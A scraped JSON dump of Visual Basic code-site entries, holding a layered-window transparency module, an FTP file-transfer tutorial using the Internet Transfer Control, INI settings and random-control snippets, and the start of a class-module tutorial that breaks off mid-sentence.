Sub"},{"WorldId":1,"id":9464,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9555,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10516,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9098,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9112,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":10117,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8901,"LineNumber":1,"line":"'Win2k layered windows module\n'\n'This information was found at\n'http://msdn.microsoft.com/library/techart/layerwin.htm\n'and other parts of msdn.\n'\n'If you want to check if a window is already layered,\n'CheckLayered(hwnd) will return true or false\n'\n'To make a window layered, just use SetLayered,\n'where hwnd is the handle of window, and bAlpha\n'is the amount of transparency (e.g. 0 = invisible,\n'255 = opaque), and if True is passed to SetAs\n'it will make the window layered, if False is\n'passed then it will get rid of the layered property.\nDeclare Function GetWindowLong Lib \"user32\" Alias \"GetWindowLongA\" (ByVal hWnd As Long, ByVal nIndex As Long) As Long\nDeclare Function SetWindowLong Lib \"user32\" Alias \"SetWindowLongA\" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long\nDeclare Function SetLayeredWindowAttributes Lib \"user32\" (ByVal hWnd As Long, ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long\nDeclare Function UpdateLayeredWindow Lib \"user32\" (ByVal hWnd As Long, ByVal hdcDst As Long, pptDst As Any, psize As Any, ByVal hdcSrc As Long, pptSrc As Any, crKey As Long, ByVal pblend As Long, ByVal dwFlags As Long) As Long\nDeclare Function FindWindow Lib \"user32.dll\" Alias \"FindWindowA\" (ByVal lpClassName As Any, ByVal lpWindowName As Any) As Long\nPublic Type POINTAPI\n x As Long\n y As Long\nEnd Type\nPublic Type SIZE\n cx As Long\n cy As Long\nEnd Type\nPublic Type BLENDFUNCTION\n BlendOp As Byte\n BlendFlags As Byte\n SourceConstantAlpha As Byte\n AlphaFormat As Byte\nEnd Type\nPublic Const WS_EX_LAYERED = &H80000\nPublic Const GWL_STYLE = (-16)\nPublic Const GWL_EXSTYLE = (-20)\nPublic Const AC_SRC_OVER = &H0\nPublic Const AC_SRC_ALPHA = &H1\nPublic Const AC_SRC_NO_PREMULT_ALPHA = &H1\nPublic Const AC_SRC_NO_ALPHA = &H2\nPublic Const AC_DST_NO_PREMULT_ALPHA = &H10\nPublic Const AC_DST_NO_ALPHA = &H20\nPublic Const LWA_COLORKEY = &H1\nPublic Const LWA_ALPHA = &H2\nPublic Const ULW_COLORKEY = &H1\nPublic Const ULW_ALPHA = &H2\nPublic Const ULW_OPAQUE = &H4\nPublic lret As Long\nFunction CheckLayered(ByVal hWnd As Long) As Boolean\nlret = GetWindowLong(hWnd, GWL_EXSTYLE)\nIf (lret And WS_EX_LAYERED) = WS_EX_LAYERED Then\n CheckLayered = True\nElse\n CheckLayered = False\nEnd If\nEnd Function\nSub SetLayered(ByVal hWnd As Long, SetAs As Boolean, bAlpha As Byte)\nlret = GetWindowLong(hWnd, GWL_EXSTYLE)\nIf SetAs = True Then\n lret = lret Or WS_EX_LAYERED\nElse\n lret = lret And Not WS_EX_LAYERED\nEnd If\nSetWindowLong hWnd, GWL_EXSTYLE, lret\nSetLayeredWindowAttributes hWnd, 0, bAlpha, LWA_ALPHA\nEnd Sub"},{"WorldId":1,"id":8845,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9227,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9326,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8841,"LineNumber":1,"line":"<center>\n<img src=\"http://demiannet.hypermart.net/artic1.jpg\" border=\"0\">\n</center>\nA Look At The Sample Project Figure A: Our sample application looks like this at design time. \n <img alt=\"Figure A\" border=\"0\" src=\"http://www.dev-center.com/data/article_images/000490_1.gif\">\n \n \n We'll also use the status bar control that ships with VB to display\n status information about the connection. To add the status-bar control to\n your application, choose the Project | Components... menu item, then select\n Microsoft Windows Common Controls 5.0 and click OK.\n \n \n \n The sample application lets users transfer files by dragging them from\n one list box to the other. Although this feature is optional, it's very\n user-friendly. The sample code found in Listing A shows you the steps to\n implement this drag-and-drop feature--pay particular attention to the\n MouseDown, MouseUp, and DragDrop events. We'll examine how those transfers\n are performed throughout the rest of this article.\n\t\n\n\t\n\t\n\n\t\n \nUsing The Control The Internet Transfer Control provides fairly extensive capabilities for\n transferring data across the Internet, in the form of either Web pages or\n files. For our purposes, we'll concentrate on file transfers and leave the\n rest for another article. The control resides in the MSINET.OCX file. To\n load the control into your VB toolbox, choose Project | Components.... Next,\n find the Microsoft Internet Transfer Control 5.0 control, select it by\n placing an X beside it, then click OK. Now, add the control to your project\n form. Note that the control will appear as a button and won't be visible at\n runtime.\n \n You can open the Object Browser (by pressing [F2]) to examine all the\n properties, methods, events, and built-in constants available through this\n code. In addition to the control's help file, this information makes an\n excellent reference. For this article, we'll focus on the small set of\n available properties and methods listed in Table A.\n \n Table A: Selected properties, methods, and events\n <table border=\"0\">\n <tbody>\n <tr vAlign=\"top\">\n <td align=\"left\">Properties</td>\n <td align=\"left\">Description</td>\n </tr>\n <tr vAlign=\"top\">\n <td align=\"left\">Password</td>\n <td align=\"left\">The password you use when connecting with the FTP\n server.</td>\n </tr>\n <tr vAlign=\"top\">\n <td align=\"left\">StillExecuting</td>\n <td align=\"left\">Specifies whether a command is still being processed.</td>\n </tr>\n <tr vAlign=\"top\">\n <td align=\"left\">URL</td>\n <td align=\"left\">The URL of the FTP server.</td>\n </tr>\n <tr vAlign=\"top\">\n <td align=\"left\">Username</td>\n <td align=\"left\">User name to use to log into the FTP server.</td>\n </tr>\n <tr vAlign=\"top\">\n <td align=\"left\">Methods</td>\n <td align=\"left\">Description</td>\n </tr>\n <tr vAlign=\"top\">\n <td align=\"left\">Execute</td>\n <td align=\"left\">Initiates an asynchronous command/connection.</td>\n </tr>\n <tr vAlign=\"top\">\n <td align=\"left\">GetChunk</td>\n <td align=\"left\">Reads data from the buffer.</td>\n </tr>\n <tr vAlign=\"top\">\n <td align=\"left\">OpenURL</td>\n <td align=\"left\">Initiates a synchronous command/connection.</td>\n </tr>\n <tr vAlign=\"top\">\n <td align=\"left\">Events</td>\n <td align=\"left\">Description</td>\n </tr>\n <tr vAlign=\"top\">\n <td align=\"left\">StateChanged</td>\n <td align=\"left\">Fires whenever the control state has changed, for\n example, when a response is received from the FTP server.</td>\n </tr>\n </tbody>\n </table>\n \nPerforming Transfers To perform FTP transfers, you must follow a few basic steps. First, you\n define the FTP server you want to attach to. You can specify the FTP site in\n two ways: using the RemoteHost and RemotePort properties or\n via the URL property. For simplicity's sake, we'll use the URL\n property:\n \n Inet1.URL = txtURL \n \n You also must specify the user name and password you'll provide. Many FTP\n sites allow anonymous connections. In those cases, the user name anonymous\n will work with any password you like, although most FTP sites ask you to\n provide your E-mail address, as well. Here's the syntax:\n \n Inet1.UserName = txtUsername \n Inet1.Password = txtPassword \n \n Setting the URL property will clear the Username and Password\n properties. So, be sure to set the URL first, then specify the user name and\n password.\n \n Since we're going to be dealing strictly with FTP connections, we'll set\n the Protocol property accordingly, as follows:\n \n Inet1.Protocol = icFTP\n \n We'll want to execute these commands when we make our first connection to\n the FTP server. We use the cmdConnect command button to establish this\n connection, so the code will go to the server. At the same time, when we\n make this first FTP connection, we'll also retrieve the list of files\n available on the FTP server. We'll see how to do this next.\n \nExecuting Gets Things Done You'll use the Execute method to send all commands to the FTP site through\n the control. The syntax of the Execute method is\n \n Inet1.Execute URL, Operation, Data, _ \n RequestHeaders \n\n However, when performing FTP commands, we'll only use the URL and Operation\n parameters. The others have no meaning for us--they're used in other\n processes. You send all FTP commands in the Operation parameter; they take\n the syntax command [file1 [file2]]. The help file for the Internet Transfer\n Control includes a list of valid FTP commands under the Execute page. We'll\n focus on a few of these commands in the rest of this article.\nAsynchronous Processing When you're using the Execute method, keep in mind that all its operations\n are asynchronous. This means that when you tell the control to\n perform an operation, it starts the operation but returns control back to\n the application. The control will handle all communications back and forth,\n based on the properties and commands you've given it. When the operation is\n completed, the control will notify the application. If you use the OpenURL\n method, the control makes a synchronous connection and executes the\n command. However, control doesn't return until the command finishes\n executing. This more straightforward approach is somewhat simpler to\n program. Since the asynchronous approach is more flexible--and therefore\n preferable--we'll use it exclusively here.\n Our discussion of the asynchronous approach would be incomplete without\n mentioning the StillExecuting property. This property identifies when\n the control is in the middle of performing some operation. If you need to\n perform an operation that requires several commands, you'll start the first\n command, loop until the control has stopped processing the command (i.e., StillExecuting\n is False), then move on to the next operation, as follows:\n \n Inet1.Execute txtURL, \"get MyFile.txt\" \n Do \n DoEvents \n Loop While Inet1.StillExecuting \n \n In event-driven programming, we want to be able to react when the operation\n is complete. We'll use the StateChanged event to provide this functionality.\n Specifically, we'll look for the new State of the control to be\n icResponseCompleted. It may be useful to set a variable, such as iLastFTP,\n to store a value signifying which FTP command executed last. Then you can\n test that variable in the StateChanged event to determine what command\n completion you're reacting to, with the lines:\n \n Sub Inet1.StateChanged(ByVal State As Integer) \n Select Case State \n Case icResponseCompleted \n `put your code here \n End Select \n End Sub \n \n Of course, the State parameter can hold a number of other values as well. We\n show these in the full code listing, found in Listing A. You can also check\n the help file for all these values. Now, let's build our FTP application.\nCreating The Sample Project The first step is to begin a new EXE project in VB5. Build a form similar to\n that shown in Figure A. As you can see, the form should include TextBox\n controls for the target URL, user name, and password. You'll also need to\n provide a way to display both local and remote files. Our example uses the\n DirListBox, DriveListBox, and FileListBox controls for the local files, and\n a standard ListBox control to display the remote files. Finally, you must\n add a CommandButton to establish the initial connection. After that, our\n work with the list boxes will be complete. Table B shows the controls to add\n to the form, as well as some key properties.\n \n Table B: Controls to add to the form\n <table border=\"0\">\n <tbody>\n <tr vAlign=\"bottom\">\n <td align=\"left\">Control</td>\n <td align=\"left\">Property</td>\n <td align=\"left\">Setting</td>\n </tr>\n <tr vAlign=\"bottom\">\n <td align=\"left\">Form</td>\n <td align=\"left\">Caption</td>\n <td align=\"left\">File Transfer</td>\n </tr>\n <tr vAlign=\"bottom\">\n <td align=\"left\">TextBox</td>\n <td align=\"left\">Name</td>\n <td align=\"left\">txtURL</td>\n </tr>\n <tr vAlign=\"bottom\">\n <td align=\"left\">TextBox</td>\n <td align=\"left\">Name</td>\n <td align=\"left\">txtUserName</td>\n </tr>\n <tr vAlign=\"bottom\">\n <td align=\"left\">TextBox</td>\n <td align=\"left\">Name</td>\n <td align=\"left\">txtPassword</td>\n </tr>\n <tr vAlign=\"bottom\">\n <td align=\"left\">DriveListBox</td>\n <td align=\"left\">Name</td>\n <td align=\"left\">drvLocal</td>\n </tr>\n <tr vAlign=\"bottom\">\n <td align=\"left\">DirListBox</td>\n <td align=\"left\">Name</td>\n <td align=\"left\">dirLocal</td>\n </tr>\n <tr vAlign=\"bottom\">\n <td align=\"left\">FileListBox</td>\n <td align=\"left\">Name</td>\n <td align=\"left\">filLocal</td>\n </tr>\n <tr vAlign=\"bottom\">\n <td align=\"left\">ListBox</td>\n <td align=\"left\">Name</td>\n <td align=\"left\">lstRemoteFiles</td>\n </tr>\n <tr vAlign=\"bottom\">\n <td align=\"left\">CommandButton</td>\n <td align=\"left\">Name</td>\n <td align=\"left\">cmdConnect</td>\n </tr>\n <tr vAlign=\"bottom\">\n <td align=\"right\"></td>\n <td align=\"left\">Caption</td>\n <td align=\"left\">Connect</td>\n </tr>\n </tbody>\n </table>\n \n As the name implies, the Connect button will connect to the designated\n FTP site and retrieve a list of files. To accomplish this, put the following\n code in the cmdConnect_Click event:\n \n Public Sub cmdConnect_Click() \n Inet1.URL = txtURL \n Inet1.UserName = txtUserName \n Inet1.Password = txtPassword \n Inet1.Protocol = icFTP \n `Use constant to identify that \n `we're getting a directory listing. \n `We'll use it in the \n `Inet1_StateChanged Event. \n iLastFTP = ftpDIR \n Inet1.Execute Inet1.URL, \"DIR\" \n End Sub \n \n The first time we use the Execute method, we establish a connection between\n the user machine and the FTP site. Executing the Dir command will place a\n list of files in the control's buffer. To retrieve them from the buffer,\n we'll use the GetChunk method. GetChunk requires one parameter that\n specifies the maximum amount of data (in bytes) that we'll retrieve. We\n specify an amount and keep looping until we've emptied out the buffer. The\n result is a string of filenames, separated by a carriage return and line\n feed (vbCrLf). We can then display the list of files however we want. We\n wrote the function ShowRemoteFileList() in Listing A to load the file list\n into a list box.\n \n Once we have the list of files, we can let the user upload files to (or\n download files from) the FTP site. Since downloading files is more common,\n let's consider this example first. We download files by executing the FTP\n command Get. The syntax of the command is Get file1 file2, where file1\n is the name of the file on the FTP site and file2 is the name you\n want the file to have locally. File2 can include path information as well.\n The GetFiles() function in Listing A demonstrates how to issue the command\n and retrieve the file.\n \n Similarly, if you want to upload a file to the FTP site (assuming you\n have write privileges at the site), you use the FTP command Put. The syntax\n of the command is Put file1 file2, where file1 is the local filename\n (which can include the path) and file2 is the name the file will have\n on the FTP site. The PutFiles() function in Listing A demonstrates this\n process. Please note that you'll have a problem to work around. The FTP\n Command Line doesn't allow spaces in the filename or path. To solve this\n problem, you can take one of the following steps:\n \n 1. Use relative paths when specifying local files (which is the option we\n used in the sample program).\n 2. Place quotation marks (Chr(34)) around the full path and filename\n (such as C:\\My FTP Files\\TestFile.txt) in the ftp command.\n 3. Use the 8.3-character directory name\n 4. Don't allow spaces in directory names.\n \n With a little work, our application can allow the user to select multiple\n files to transfer in one operation. Of course, the application will need to\n issue an Execute command for each transfer. Then, we must test the StillExecuting\n property to determine whether the control has finished executing that\n command. Once it's complete, we can loop back and send the command again for\n the second file. We can continue this process for as many files as\n necessary.\nKnown Bugs And Issues You should be aware of several issues that exist with the current versions\n of the control. These issues vary depending on which version you're using.\n In the version that ships with VB 5 (version 5.00.3714), the control sends\n all filenames as uppercase when you're sending or receiving files. If you're\n hitting an Internet Information Server (IIS) using NT/DOS file settings,\n case doesn't matter, since the filenames aren't case-sensitive. However, if\n you're hitting a UNIX server, it's extremely important, since UNIX filenames\n are case-sensitive. The result is that any files you send will be\n named in all uppercase, and you won't be able to retrieve files that have\n lowercase letters in their names.\n \n Fortunately, Microsoft is aware of this conflict (see the Microsoft\n Knowledge Base article <a href=\"http://support.microsoft.com/support/kb/articles/Q168/7/66.asp\" target=\"_blank\">support.microsoft.com/support/kb/articles/Q168/7/66.asp</a>\n for more information) and has corrected it in Service Pack 2 for Visual\n Studio. However, the SP2 control (version 5.01.4319) introduces an even\n worse problem.\n \n In the SP2 version of the control, you can't log in to any server, other\n than a strictly anonymous server (such as <a href=\"ftp://ftp.microsoft.com\" target=\"_blank\">ftp://ftp.microsoft.com</a>).\n User names and passwords are sent incorrectly to the FTP server. (See the\n Microsoft Knowledge Base article <a href=\"http://support.microsoft.com/support/kb/articles/Q173/2/65.asp\" target=\"_blank\">support.microsoft.com/support/kb/articles/Q173/2/65.asp</a>\n for more details.)\n \n Finally, Microsoft released Service Pack 3 (<a href=\"http://msdn.microsoft.com/vstudio/sp/vs6sp3/default.asp\" target=\"_blank\">http://msdn.microsoft.com/vstudio/sp/vs6sp3/default.asp</a>)\n in early December 1997, correcting these problems.\nCode For Core Functionality Add the following to a form:\n \n Private Const ftpDIR As Integer = 0 \n Private Const ftpPUT As Integer = 1 \n Private Const ftpGET As Integer = 2 \n Private Const ftpDEL As Integer = 3 \n Private iLastFTP As Integer \n \n Private Sub cmdConnect_Click() \n On Error GoTo ConnectError \n Inet1.URL = txtURL \n Inet1.UserName = txtUserName \n Inet1.Password = txtPassword \n Inet1.Protocol = icFTP \n iLastFTP = ftpDIR \n \n Inet1.Execute Inet1.URL, \"DIR\" \n End Sub \n \n Private Sub Inet1_StateChanged(ByVal _ \n State As Integer) \n Select Case State \n Case icNone \n \n sbFTP.Panels(\"status\").Text = \"\" \n Case icResolvingHost \n \n sbFTP.Panels(\"status\").Text \n =\n \"Resolving Host\" \n Case icHostResolved \n \n sbFTP.Panels(\"status\").Text _ \n = \"Host\n Resolved\" \n Case icConnecting \n \n sbFTP.Panels(\"status\").Text _ \n =\n \"Connecting...\" \n Case icConnected \n \n sbFTP.Panels(\"status\").Text _ \n =\n \"Connected!\" \n Case icRequesting \n \n sbFTP.Panels(\"status\").Text _ \n =\n \"Requesting...\" \n Case icRequestSent \n \n sbFTP.Panels(\"status\").Text _ \n = \"Request\n Sent\" \n Case icReceivingResponse \n \n sbFTP.Panels(\"status\").Text _ \n =\n \"Receiving Response...\" \n Case icResponseReceived \n \n sbFTP.Panels(\"status\").Text _ \n =\n \"Response Received!\" \n Case icDisconnecting \n \n sbFTP.Panels(\"status\").Text _ \n =\n \"Disconnecting...\" \n \n Case icDisconnected \n \n sbFTP.Panels(\"status\").Text _ \n =\n \"Disconnected\" \n Case icError \n \n sbFTP.Panels(\"status\").Text _ \n = \"Error!\n \" & Trim(CStr( _ \n \n Inet1.ResponseCode)) & _ \n \": \"\n & Inet1.ResponseInfo \n Case icResponseCompleted \n \n sbFTP.Panels(\"status\").Text _ \n =\n \"Response Completed!\" \n \n ReactToResponse iLastFTP \n End Select \n End Sub \n \n Public Function _ \n ReactToResponse(ByVal _ \n iLastCommand As Integer) As Long \n Select Case iLastCommand \n Case ftpDIR \n \n ShowRemoteFileList \n Case ftpPUT \n MsgBox\n \"File Sent from \" & CurDir() \n Case ftpGET \n MsgBox\n \"File Received \"& \"in \" & CurDir() \n Case ftpDEL \n End Select \n End Function \n \n Public Function ShowRemoteFileList() As Long \n Dim sFileList As String \n Dim sTemp As String \n Dim p As Integer \n sTemp = Inet1.GetChunk(1024) \n Do While Len(sTemp) > 0 \n DoEvents \n sFileList = sFileList & sTemp \n sTemp = Inet1.GetChunk(1024) \n Loop \n lstRemoteFiles.Clear \n Do While sFileList > \"\" \n DoEvents \n p = InStr(sFileList, vbCrLf) \n If p > 0 Then \n \n lstRemoteFiles.AddItem \n \n Left(sFileList, p - 1) \n If\n Len(sFileList) > (p + 2) Then \n \n sFileList = Mid(sFileList, p + 2) \n Else \n \n sFileList = \"\" \n End If \n Else \n \n lstRemoteFiles.AddItem sFileList \n sFileList\n = \"\" \n End If \n Loop \n End Function \n Code For Core Functionality Part 2 'Continued:\n Public Function GetFiles(sFileList As String) As\n Long \n Dim sFile As String \n Dim sTemp As String \n Dim p As Integer \n iLastFTP = ftpGET \n sTemp = sFileList \n Do While sTemp > \"\" \n DoEvents \n p = InStr(sTemp, \"|\") \n If p Then \n sFile =\n Left(sTemp, p - 1) \n sTemp =\n Mid(sTemp, p + 1) \n Else \n sFile =\n sTemp \n sTemp =\n \"\" \n End If \n Inet1.Execute Inet1.URL,\n \"GET \" & sFile & _ \n \"\n \" & sFile \n 'wait until this execution is done \n `before going to next file \n Do \n DoEvents \n Loop Until Not _ \n \n Inet1.StillExecuting \n Loop \n iLastFTP = ftpDIR \n Inet1.Execute Inet1.URL, \"DIR\" \n End Function \n \n Public Function PutFiles(sFileList As String) As\n Long \n Dim sFile As String \n Dim sTemp As String \n Dim p As Integer \n iLastFTP = ftpPUT \n sTemp = sFileList \n Do While sTemp > \"\" \n DoEvents \n p = InStr(sTemp, \"|\") \n If p Then \n sFile =\n Left(sTemp, p - 1) \n sTemp =\n Mid(sTemp, p + 1) \n Else \n sFile =\n sTemp \n sTemp =\n \"\" \n End If \n Inet1.Execute Inet1.URL,\n \"PUT\" & sFile & _ \n \"\n \" & sFile \n 'wait until this execution is done \n `before going to next file \n Do \n DoEvents \n Loop Until Not\n Inet1.StillExecuting \n Loop \n iLastFTP = ftpDIR \n Inet1.Execute Inet1.URL, \"DIR\" \n End Function \n \n Private Sub dirLocal_Change() \n filLocal.Path = dirLocal.Path \n End Sub \n \n Private Sub drvLocal_Change() \n dirLocal.Path = drvLocal.Drive \n End Sub \n \n Private Sub filLocal_DragDrop(Source _ \n As Control, X As Single, Y As\n Single) \n 'receiving files from FTP site. \n Dim I As Integer \n Dim sFileList As String \n If TypeOf Source Is ListBox Then \n For i = 0 _ \n To\n Source.ListCount - 1 \n If\n Source.Selected(i) Then \n \n sFileList = _ \n \n sFileList & _ \n \n Source.List(i) & \"|\" \n End If \n Next \n End If \n If Len(sFileList) > 0 Then \n 'strip off the last pipe \n sFileList = Left(sFileList, _ \n \n Len(sFileList) - 1) \n GetFiles sFileList \n End If \n End Sub \n \n Private Sub _ \n filLocal_MouseDown(Button As _ \n Integer, Shift As Integer, X As _ \n Single, Y As Single) \n filLocal.Drag vbBeginDrag \n End Sub \n \n Private Sub filLocal_MouseUp(Button _ \n As Integer, Shift As Integer, _ \n X As Single, Y As Single) \n filLocal.Drag vbEndDrag \n End Sub \n \nCode For Core Functionality Part 3 'Continued:\n \n Private Sub _ \n lstRemoteFiles_DragDrop(Source _ \n As Control, X As Single, Y As Single) \n Dim I As Integer \n Dim sFileList As String \n If TypeOf Source Is FileListBox Then \n For i = 0 To Source.ListCount - 1 \n If\n Source.Selected(i) Then \n \n sFileList = sFileList & _ \n \n Source.List(i) & \"|\" \n End If \n Next \n End If \n If Len(sFileList) > 0 Then \n 'strip off the last pipe \n sFileList = Left(sFileList, _ \n \n Len(sFileList) - 1) \n PutFiles sFileList \n End If \n End Sub \n \n Private Sub _ \n lstRemoteFiles_KeyDown(KeyCode _ \n As Integer, Shift As Integer) \n If KeyCode = vbKeyDelete Then \n Inet1.Execute Inet1.URL,\n \"DEL \" & _ \n \n lstRemoteFiles.List( _ \n \n lstRemoteFiles.ListIndex) \n Do \n DoEvents \n Loop While Inet1.StillExecuting \n End If \n iLastFTP = ftpDIR \n Inet1.Execute Inet1.URL, \"DIR\" \n End Sub \n \n Private Sub _ \n lstRemoteFiles_MouseDown(Button _ \n As Integer, Shift As Integer, ) \n X As Single, Y As Single) \n lstRemoteFiles.Drag vbBeginDrag \n End Sub \n \n Private Sub lstRemoteFiles_MouseUp(Button As _ \n Integer, Shift As Integer, _ \n X As Single, Y As Single) \n lstRemoteFiles.Drag vbEndDrag \n End Sub\nConclusion As the Internet's importance grows in our daily lives, we must make our\n applications more Internet-aware. Actually, the Internet offers several\n solutions to some potential problems--the challenge is to take advantage of\n the existing capabilities to meet those challenges. If you need to transfer\n files between two Internet sites, the Internet Transfer Control offers a\n quick solution. In this article, we've shown you how to use the control in\n your applications. We've also pointed out a couple of bugs to work around.\n"},{"WorldId":1,"id":8821,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8822,"LineNumber":1,"line":"Private Declare Function WritePrivateProfileString Lib \"kernel32\" Alias \"WritePrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpString As Any, ByVal lpFileName As String) As Long\nPrivate Declare Function GetPrivateProfileString Lib \"kernel32\" Alias \"GetPrivateProfileStringA\" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long\nPrivate Function GetFromINI(Section As String, Key As String, Directory As String) As String\n Dim strBuffer As String\n strBuffer = String(750, Chr(0))\n Key$ = LCase$(Key$)\n GetFromINI$ = Left(strBuffer, GetPrivateProfileString(Section$, ByVal Key$, \"\", strBuffer, Len(strBuffer), Directory$))\nEnd Function\nPrivate Sub WriteToINI(Section As String, Key As String, KeyValue As String, Directory As String)\n Call WritePrivateProfileString(Section$, UCase$(Key$), KeyValue$, Directory$)\nEnd Sub\nPrivate Sub Form_Load()\nOn Error Resume Next\nForm1.Top = GetFromINI(\"SCREEN\", \"TOP\", App.Path & \"\\screen.ini\")\nForm1.Left = GetFromINI(\"SCREEN\", \"LEFT\", App.Path & \"\\screen.ini\")\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\nOn Error Resume Next\nWriteToINI \"SCREEN\", \"TOP\", Form1.Top, App.Path & \"\\screen.ini\"\nWriteToINI \"SCREEN\", \"LEFT\", Form1.Left, App.Path & \"\\screen.ini\"\nEnd Sub"},{"WorldId":1,"id":8881,"LineNumber":1,"line":"'Make a command1, try to make it smal & it the bottom right hand corner for best results.\n \n Private WithEvents txtDynamic As TextBox \n \n Private Sub Command1_Click() \n On Error Resume Next \n Dim RandomControl(1 To 18) As String \n Dim i As Integer \n Randomize \n RandomControl(1) = \"VB.TextBox\" \n RandomControl(2) = \"VB.CommandButton\" \n RandomControl(3) = \"VB.Shape\" \n RandomControl(4) = \"VB.Label\" \n RandomControl(5) = \"VB.ListBox\" \n RandomControl(6) = \"VB.PictureBox\" \n RandomControl(7) = \"VB.Frame\" \n RandomControl(8) = \"VB.HScrollBar\" \n RandomControl(9) = \"VB.VScrollBar\" \n RandomControl(10) = \"VB.Image\" \n RandomControl(11) = \"VB.Line\" \n RandomControl(12) = \"VB.DirListBox\" \n RandomControl(13) = \"VB.DriveListBox\" \n RandomControl(14) = \"VB.FileListBox\" \n RandomControl(15) = \"VB.Timer\" \n RandomControl(16) = \"VB.ComboBox\" \n RandomControl(17) = \"VB.OptionButton\" \n RandomControl(18) = \"VB.CheckBox\" \n \n i = Int((18 * Rnd) + 1) \n RandomTop = Int(Rnd * Me.Height) \n RandomLeft = Int(Rnd * Me.Width) \n RandomWidth = Int(Rnd * Me.Height) \n RandomText = Int(Rnd * 3200) \n Set RandDynamic = Controls.Add(RandomControl(i), \"Rand\" & RandomText) \n With RandDynamic \n .Visible = True \n .Text = \"Demian Net\" \n .Caption = \"Demian Net\" \n .BackColor = vbRed \n .Width = RandomWidth \n .Top = RandomTop \n .Left = RandomLeft \n End With \n End Sub"},{"WorldId":1,"id":9218,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8909,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8859,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9331,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9520,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9648,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Language\" content=\"en-us\">\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<title>Class Module Tutorial</title>\n</head>\n<body>\nClass Module Tutorial\nfor Beginners\nThis project is designed to be tutorial for implementing a class module. I wrote this in \norder to learn more about modules. I used character replacement as the task since it \nmay be of use after the project is entered.┬á I hope that it will be of assistance to others.┬á┬á\nI'll start by giving a brief explanation of what a class module\nis.┬á When you create a class module, you are basically creating an\nobject.┬á This object has properties, methods, and events like the controls\nthat you put on form.┬á For example, Caption is a property of a label, Clear\nis a method of a listbox, and Click is an event for a command button.┬á\n\nThis class module allows the user to replace a chosen character with another character in \na given string.┬á It has properties, a method, and one event.\nIt should take the user between 30 minutes and 45 minutes to\ncomplete this project. \n \n \nSteps.\n1.┬á Open Visual Basic and select a standard EXE project.\n2.┬á Rename the form frmMain and save the project to\nwhatever name you like.\n3.┬á Add the following controls to the form.\n<table border=\"1\" width=\"100%\">\n <tr>\n <td width=\"33%\">Label1</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">Enter String</td>\n </tr>\n <tr>\n <td width=\"33%\">Label2</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">Enter Character</td>\n </tr>\n <tr>\n <td width=\"33%\">Label3</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">Enter Replacement</td>\n </tr>\n <tr>\n <td width=\"33%\">txtString</td>\n <td width=\"33%\">Text</td>\n <td width=\"34%\">\"\"</td>\n </tr>\n <tr>\n <td width=\"33%\">txtChar</td>\n <td width=\"33%\">Text</td>\n <td width=\"34%\">\"\"</td>\n </tr>\n <tr>\n <td width=\"33%\">┬á</td>\n <td width=\"33%\">Maxlength</td>\n <td width=\"34%\">1</td>\n </tr>\n <tr>\n <td width=\"33%\">txtReplacement</td>\n <td width=\"33%\">Text</td>\n <td width=\"34%\">\"\"</td>\n </tr>\n <tr>\n <td width=\"33%\">┬á</td>\n <td width=\"33%\">Maxlength</td>\n <td width=\"34%\">1</td>\n </tr>\n <tr>\n <td width=\"33%\">Frame1</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">Out Come</td>\n </tr>\n <tr>\n <td width=\"33%\">Label4</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">Result</td>\n </tr>\n <tr>\n <td width=\"33%\">Label5</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">Number of Replacements</td>\n </tr>\n <tr>\n <td width=\"33%\">lblResult</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">\"\"</td>\n </tr>\n <tr>\n <td width=\"33%\">┬á</td>\n <td width=\"33%\">BorderStyle</td>\n <td width=\"34%\">1-Fixed Single</td>\n </tr>\n <tr>\n <td width=\"33%\">lblCount</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">\"\"</td>\n </tr>\n <tr>\n <td width=\"33%\">┬á</td>\n <td width=\"33%\">BorderStyle</td>\n <td width=\"34%\">1-FixedSingle</td>\n </tr>\n <tr>\n <td width=\"33%\">cmdReplace</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">Replace</td>\n </tr>\n <tr>\n <td width=\"33%\">cmdClear</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">Clear</td>\n </tr>\n <tr>\n <td width=\"33%\">cmdExit</td>\n <td width=\"33%\">Caption</td>\n <td width=\"34%\">Exit</td>\n </tr>\n</table>\n<img border=\"0\" src=\"http://www.geocities.com/jerry_m_barnes/images/cmt01.jpg\" width=\"335\" height=\"315\">\nThe form should be similar to this when you are finished.\n4.┬á Right Click on Project1 in the Project window.┬á\nSelect Add from the menu.┬á Select Class Module.┬á Select Class Module\nagain.\n5.┬á Right Click on the Class Module in the Project\nWindow.┬á Change the name property to 